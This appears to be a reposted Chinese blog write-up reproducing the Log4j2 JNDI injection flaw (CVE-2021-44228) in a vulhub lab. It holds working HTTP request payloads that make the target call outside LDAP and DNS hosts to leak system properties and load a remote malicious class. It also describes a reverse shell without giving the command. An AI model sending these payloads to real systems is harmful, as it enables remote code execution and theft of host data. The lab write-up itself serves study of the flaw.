Apache Log4j2 lookup JNDI 注入漏洞復現(CVE-2021-44228)


漏洞簡介

Apache Log4j 2 是Java語言的日志處理套件,使用極為廣泛。在其2.0到2.14.1版本中存在一處JNDI注入漏洞,攻擊者在可以控制日志內容的情況下,通過傳入類似於${jndi:ldap://evil.com/example}的lookup用於進行JNDI注入,執行任意代碼。

漏洞環境

使用vulhub的環境https://github.com/vulhub/vulhub/tree/master/log4j/CVE-2021-44228

訪問頁面

漏洞復現

使用dnslog回顯

GET /solr/admin/cores?action=${jndi:ldap://${sys:java.version}.example.com} HTTP/1.1
Host: 101.35.121.195:8983
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Connection: close

還有其他一些敏感信息可以外帶
${hostName}
${sys:user.dir}
${sys:java.version}
${java:os}

jndi注入

用jndi exploit去做遠程惡意類加載

執行touch /tmp/success
發送請求包

GET /solr/admin/cores?action=${jndi:ldap://1.15.177.22:1389/oltb2u} HTTP/1.1
Host: 101.35.121.195:8983
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Connection: close

可以看到命令已經成功執行

同理我們可以這樣去反彈shell
用jndi注入bash反彈shell的惡意類,反彈shell命令需要編碼

然后去請求觸發就可以了

漏洞分析

分析和CodeQL的調試之后再補下


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM